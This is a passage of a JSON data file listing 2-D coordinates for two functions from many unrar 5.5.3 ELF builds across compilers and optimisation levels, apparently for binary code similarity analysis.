"./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.8.0.1.nopic.ELF", "x": 4.8458991050720215, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 14.248665809631348}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.gcc.6.4.0.ELF", "x": 6.055634498596191, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 12.388326644897461}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.gcc.6.4.0.ELF", "x": 6.055634498596191, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 12.388326644897461}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.gcc.6.4.0.ELF", "x": 6.076749324798584, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 12.403322219848633}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.g++.7.3.0.nopic.ELF", "x": -9.579154014587402, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 4.2698893547058105}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.gcc.6.4.0.ELF", "x": 3.310671806335449, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 5.599730968475342}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.gcc.6.4.0.ELF", "x": 3.3135645389556885, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 5.59108304977417}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.gcc.6.4.0.ELF", "x": 3.314598560333252, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 5.602256774902344}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.6.4.0.nopic.ELF", "x": -8.424139022827148, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": -6.036710262298584}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.6.4.0.nopic.ELF", "x": -8.651966094970703, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": -6.460324764251709}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.6.4.0.nopic.ELF", "x": -7.9463067054748535, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": -5.855410099029541}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.7.3.0.nopic.ELF", "x": -9.854147911071777, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": -9.204224586486816}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.7.3.0.nopic.ELF", "x": -8.94324016571045, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": -9.676668167114258}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.8.0.1.nopic.nopie.ELF", "x": -9.341293334960938, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": -9.17728042602539}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.8.0.1.nopic.nopie.ELF", "x": -9.610679626464844, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": -9.784712791442871}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.8.0.1.nopic.nopie.ELF", "x": -9.277181625366211, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": -10.216951370239258}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.ELF", "x": -11.091654777526855, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": -7.863304615020752}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.ELF", "x": -10.969095230102539, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": -7.669145584106445}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.ELF", "x": -0.14582006633281708, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 2.4277470111846924}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.ELF", "x": 5.635541915893555, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 6.484385013580322}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.6.4.0.nopic.ELF", "x": -7.188228130340576, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 0.20266515016555786}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.6.4.0.nopic.ELF", "x": -7.205419063568115, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 0.1936691552400589}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.6.4.0.nopic.ELF", "x": -7.191495418548584, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 0.1968553066253662}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.ELF", "x": 0.07658255845308304, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 3.2612597942352295}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.7.3.0.nopic.ELF", "x": 13.49523639678955, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 8.58648681640625}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.7.3.0.nopic.ELF", "x": 13.495349884033203, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 8.587441444396973}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.8.0.1.nopic.ELF", "x": 12.214725494384766, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 9.215045928955078}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.8.0.1.nopic.ELF", "x": 12.233189582824707, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 9.246009826660156}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.8.0.1.nopic.ELF", "x": 12.339563369750977, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 9.415023803710938}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.clang.4.0.1.ELF", "x": 6.099570274353027, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": -10.733980178833008}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.clang.4.0.1.nopic.nopie.ELF", "x": 6.107813358306885, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": -10.728001594543457}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.ELF", "x": -6.801137924194336, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 1.4290504455566406}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.7.3.0.nopic.ELF", "x": -8.067727088928223, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": -7.289566516876221}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.7.3.0.nopic.ELF", "x": -7.141099452972412, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": -6.515918254852295}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.gcc.8.0.1.ELF", "x": -7.633091449737549, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": -6.87937068939209}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.gcc.8.0.1.ELF", "x": -6.995934009552002, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": -7.171641826629639}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.gcc.8.0.1.ELF", "x": -7.494647026062012, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": -7.5799713134765625}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.ELF", "x": -9.854086875915527, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 3.0780911445617676}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.g++.8.0.1.nopic.nopie.ELF", "x": 2.5488381385803223, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 9.289353370666504}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.gcc.8.0.1.ELF", "x": 2.3787038326263428, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 9.689638137817383}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.gcc.8.0.1.ELF", "x": 2.3787264823913574, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 9.692901611328125}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.6.4.0.nopic.nopie.ELF", "x": 0.7177606821060181, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 0.588411808013916}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.6.4.0.nopic.nopie.ELF", "x": 0.7171623110771179, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 0.5895400047302246}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.6.4.0.nopic.nopie.ELF", "x": 0.7176727056503296, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 0.5910784602165222}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.8.0.1.nopic.nopie.ELF", "x": 0.9392873048782349, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 8.386612892150879}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.8.0.1.nopic.nopie.ELF", "x": 0.922204315662384, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 8.412540435791016}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.8.0.1.nopic.nopie.ELF", "x": 0.9439889788627625, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 8.380373001098633}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.7.3.0.nopic.ELF", "x": 1.2043415307998657, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 5.344968318939209}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.7.3.0.nopic.ELF", "x": 1.2026021480560303, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 5.344536781311035}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.ELF", "x": 3.970491886138916, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 6.557279586791992}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.7.3.0.nopic.ELF", "x": 1.7004258632659912, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 3.186973810195923}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.7.3.0.nopic.ELF", "x": 1.7004534006118774, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 3.1872973442077637}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.g++.7.3.0.nopic.ELF", "x": 2.8414177894592285, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 2.405155658721924}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.g++.6.4.0.nopic.nopie.ELF", "x": 4.965010166168213, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 2.492501974105835}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.gcc.6.4.0.ELF", "x": 4.486303806304932, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 2.7519569396972656}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.gcc.6.4.0.ELF", "x": 4.487546920776367, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 2.750969409942627}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.7.3.0.nopic.nopie.ELF", "x": 7.201519012451172, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 8.539916038513184}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.7.3.0.nopic.nopie.ELF", "x": 7.201244354248047, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 8.538871765136719}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.gcc.6.4.0.ELF", "x": 6.880970001220703, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 6.098753452301025}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.gcc.6.4.0.ELF", "x": 6.878685474395752, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 6.106596946716309}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.gcc.6.4.0.ELF", "x": 6.878685474395752, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 6.106596946716309}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.8.0.1.nopic.nopie.ELF", "x": 5.039950847625732, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 9.265542030334473}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.8.0.1.nopic.nopie.ELF", "x": 5.040440082550049, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 9.265033721923828}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.8.0.1.nopic.nopie.ELF", "x": 5.033580780029297, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 9.266606330871582}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.8.0.1.nopic.ELF", "x": -0.7304525375366211, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 6.427417755126953}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.8.0.1.nopic.ELF", "x": -0.732929527759552, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 6.432234287261963}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.8.0.1.nopic.ELF", "x": -0.732929527759552, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 6.432234287261963}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.g++.6.4.0.nopic.nopie.ELF", "x": -11.765536308288574, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 2.4452996253967285}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.gcc.6.4.0.ELF", "x": -11.058849334716797, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 2.238156318664551}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.gcc.6.4.0.ELF", "x": -11.05858039855957, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 2.238101005554199}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.gcc.8.0.1.ELF", "x": -10.254204750061035, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 5.125817775726318}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.gcc.8.0.1.ELF", "x": -10.255499839782715, "function_name": "_ZN6Unpack12UnpackDecodeER16UnpackThreadDat", "y": 5.127103805541992}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.g++.7.3.0.nopic.ELF", "x": -6.44908332824707, "function_name": "_ZN10ThreadPoolC1E", "y": 17.91439437866211}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.8.0.1.nopic.nopie.ELF", "x": 16.63972282409668, "function_name": "_ZN10ThreadPoolC1E", "y": -9.63693618774414}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.8.0.1.nopic.nopie.ELF", "x": 16.6431827545166, "function_name": "_ZN10ThreadPoolC1E", "y": -9.630926132202148}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.8.0.1.nopic.nopie.ELF", "x": 16.644187927246094, "function_name": "_ZN10ThreadPoolC1E", "y": -9.6298189163208}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.gcc.7.3.0.ELF", "x": 19.572607040405273, "function_name": "_ZN10ThreadPoolC1E", "y": -9.636635780334473}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.gcc.7.3.0.ELF", "x": 19.582073211669922, "function_name": "_ZN10ThreadPoolC1E", "y": -9.638710975646973}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.gcc.7.3.0.ELF", "x": 19.579824447631836, "function_name": "_ZN10ThreadPoolC1E", "y": -9.64216136932373}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.6.4.0.nopic.nopie.ELF", "x": 14.196837425231934, "function_name": "_ZN10ThreadPoolC1E", "y": -10.129802703857422}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.6.4.0.nopic.nopie.ELF", "x": 14.187082290649414, "function_name": "_ZN10ThreadPoolC1E", "y": -10.13039779663086}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.6.4.0.nopic.nopie.ELF", "x": 14.1968412399292, "function_name": "_ZN10ThreadPoolC1E", "y": -10.129804611206055}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.gcc.6.4.0.ELF", "x": 25.852996826171875, "function_name": "_ZN10ThreadPoolC1E", "y": -14.621232986450195}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.gcc.6.4.0.ELF", "x": 25.795841217041016, "function_name": "_ZN10ThreadPoolC1E", "y": -15.19249153137207}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.gcc.6.4.0.ELF", "x": 26.347572326660156, "function_name": "_ZN10ThreadPoolC1E", "y": -15.747584342956543}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.6.4.0.nopic.nopie.ELF", "x": 25.78213119506836, "function_name": "_ZN10ThreadPoolC1E", "y": -15.75136947631836}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.6.4.0.nopic.nopie.ELF", "x": 26.63892936706543, "function_name": "_ZN10ThreadPoolC1E", "y": -15.241059303283691}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.6.4.0.nopic.nopie.ELF", "x": 26.402433395385742, "function_name": "_ZN10ThreadPoolC1E", "y": -14.711335182189941}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.7.3.0.nopic.ELF", "x": 24.966415405273438, "function_name": "_ZN10ThreadPoolC1E", "y": -10.954768180847168}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.7.3.0.nopic.ELF", "x": 24.81283187866211, "function_name": "_ZN10ThreadPoolC1E", "y": -10.596451759338379}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.7.3.0.nopic.ELF", "x": 24.59393882751465, "function_name": "_ZN10ThreadPoolC1E", "y": -11.094820976257324}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.7.3.0.nopic.ELF", "x": 24.42502784729004, "function_name": "_ZN10ThreadPoolC1E", "y": -10.74107551574707}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.ELF", "x": 24.491348266601562, "function_name": "_ZN10ThreadPoolC1E", "y": -15.079177856445312}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.ELF", "x": 24.491348266601562, "function_name": "_ZN10ThreadPoolC1E", "y": -15.079177856445312}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.7.3.0.nopic.ELF", "x": 22.452241897583008, "function_name": "_ZN10ThreadPoolC1E", "y": -13.37057876586914}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.7.3.0.nopic.ELF", "x": 22.452377319335938, "function_name": "_ZN10ThreadPoolC1E", "y": -13.370389938354492}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.ELF", "x": 23.483089447021484, "function_name": "_ZN10ThreadPoolC1E", "y": -17.91462516784668}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.ELF", "x": 23.4818058013916, "function_name": "_ZN10ThreadPoolC1E", "y": -17.91436195373535}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.7.3.0.nopic.nopie.ELF", "x": 16.256752014160156, "function_name": "_ZN10ThreadPoolC1E", "y": -18.173873901367188}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.7.3.0.nopic.nopie.ELF", "x": 16.255252838134766, "function_name": "_ZN10ThreadPoolC1E", "y": -18.17563247680664}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.gcc.6.4.0.ELF", "x": 19.214344024658203, "function_name": "_ZN10ThreadPoolC1E", "y": -20.455659866333008}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.gcc.6.4.0.ELF", "x": 19.30629539489746, "function_name": "_ZN10ThreadPoolC1E", "y": -20.38191032409668}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.gcc.6.4.0.ELF", "x": 19.408546447753906, "function_name": "_ZN10ThreadPoolC1E", "y": -20.248462677001953}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.8.0.1.nopic.nopie.ELF", "x": 12.44119644165039, "function_name": "_ZN10ThreadPoolC1E", "y": -15.640775680541992}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.8.0.1.nopic.nopie.ELF", "x": 12.840948104858398, "function_name": "_ZN10ThreadPoolC1E", "y": -15.938239097595215}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.8.0.1.nopic.nopie.ELF", "x": 12.791028022766113, "function_name": "_ZN10ThreadPoolC1E", "y": -16.443307876586914}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.gcc.8.0.1.ELF", "x": 12.075931549072266, "function_name": "_ZN10ThreadPoolC1E", "y": -15.998865127563477}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.gcc.8.0.1.ELF", "x": 12.293883323669434, "function_name": "_ZN10ThreadPoolC1E", "y": -16.48358726501465}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.gcc.6.4.0.ELF", "x": 19.693344116210938, "function_name": "_ZN10ThreadPoolC1E", "y": -15.291187286376953}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.gcc.6.4.0.ELF", "x": 18.889968872070312, "function_name": "_ZN10ThreadPoolC1E", "y": -15.346909523010254}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.gcc.6.4.0.ELF", "x": 19.33257293701172, "function_name": "_ZN10ThreadPoolC1E", "y": -15.603014945983887}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.gcc.6.4.0.ELF", "x": 19.474916458129883, "function_name": "_ZN10ThreadPoolC1E", "y": -14.821946144104004}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.gcc.6.4.0.ELF", "x": 18.982229232788086, "function_name": "_ZN10ThreadPoolC1E", "y": -14.859859466552734}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.ELF", "x": 24.387149810791016, "function_name": "_ZN10ThreadPoolC1E", "y": 5.970040321350098}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.ELF", "x": 23.99043083190918, "function_name": "_ZN10ThreadPoolC1E", "y": 6.587184429168701}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.6.4.0.nopic.nopie.ELF", "x": 24.99016761779785, "function_name": "_ZN10ThreadPoolC1E", "y": 7.323310375213623}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.6.4.0.nopic.nopie.ELF", "x": 25.760976791381836, "function_name": "_ZN10ThreadPoolC1E", "y": 6.945338249206543}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.7.3.0.nopic.ELF", "x": 25.286266326904297, "function_name": "_ZN10ThreadPoolC1E", "y": 6.64069128036499}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.7.3.0.nopic.ELF", "x": 26.504680633544922, "function_name": "_ZN10ThreadPoolC1E", "y": 6.924961566925049}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.8.0.1.nopic.nopie.ELF", "x": 26.24827766418457, "function_name": "_ZN10ThreadPoolC1E", "y": 6.252574443817139}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.8.0.1.nopic.nopie.ELF", "x": 25.45517349243164, "function_name": "_ZN10ThreadPoolC1E", "y": 7.763598918914795}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.6.4.0.nopic.nopie.ELF", "x": 26.164278030395508, "function_name": "_ZN10ThreadPoolC1E", "y": 7.585892677307129}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.8.0.1.nopic.nopie.ELF", "x": 25.61627769470215, "function_name": "_ZN10ThreadPoolC1E", "y": 5.997420787811279}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.gcc.8.0.1.ELF", "x": -5.673457145690918, "function_name": "_ZN10ThreadPoolC1E", "y": 18.59859275817871}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.gcc.8.0.1.ELF", "x": -5.673555850982666, "function_name": "_ZN10ThreadPoolC1E", "y": 18.59844970703125}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.clang.4.0.1.ELF", "x": 3.5522232055664062, "function_name": "_ZN10ThreadPoolC1E", "y": -21.794591903686523}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.clang.4.0.1.nopic.nopie.ELF", "x": 3.554241418838501, "function_name": "_ZN10ThreadPoolC1E", "y": -21.793949127197266}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.8.0.1.nopic.ELF", "x": 23.84932518005371, "function_name": "_ZN10ThreadPoolC1E", "y": -6.8102545738220215}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.8.0.1.nopic.ELF", "x": 24.346940994262695, "function_name": "_ZN10ThreadPoolC1E", "y": -6.607048034667969}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.8.0.1.nopic.ELF", "x": 23.483074188232422, "function_name": "_ZN10ThreadPoolC1E", "y": -5.978585243225098}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.8.0.1.nopic.nopie.ELF", "x": 23.41326332092285, "function_name": "_ZN10ThreadPoolC1E", "y": -6.510588645935059}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.8.0.1.nopic.nopie.ELF", "x": 23.97899055480957, "function_name": "_ZN10ThreadPoolC1E", "y": -5.773232936859131}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.8.0.1.nopic.nopie.ELF", "x": 24.420509338378906, "function_name": "_ZN10ThreadPoolC1E", "y": -6.078256607055664}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.clang.4.0.1.ELF", "x": 3.59128475189209, "function_name": "_ZN10ThreadPoolC1E", "y": -20.789506912231445}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.clang.4.0.1.nopic.nopie.ELF", "x": 3.588404417037964, "function_name": "_ZN10ThreadPoolC1E", "y": -20.790128707885742}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.gcc.6.4.0.ELF", "x": -1.8582960367202759, "function_name": "_ZN10ThreadPoolC1E", "y": 23.57810401916504}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.gcc.6.4.0.ELF", "x": -1.8582545518875122, "function_name": "_ZN10ThreadPoolC1E", "y": 23.578304290771484}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.ELF", "x": -1.0031602382659912, "function_name": "_ZN10ThreadPoolC1E", "y": 23.527271270751953}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.6.4.0.nopic.ELF", "x": 20.50198745727539, "function_name": "_ZN10ThreadPoolC1E", "y": 7.185754776000977}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.6.4.0.nopic.ELF", "x": 20.297163009643555, "function_name": "_ZN10ThreadPoolC1E", "y": 6.396573066711426}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.7.3.0.nopic.ELF", "x": 20.97016716003418, "function_name": "_ZN10ThreadPoolC1E", "y": 6.025070667266846}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.7.3.0.nopic.ELF", "x": 19.52495002746582, "function_name": "_ZN10ThreadPoolC1E", "y": 6.4294209480285645}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.gcc.8.0.1.ELF", "x": 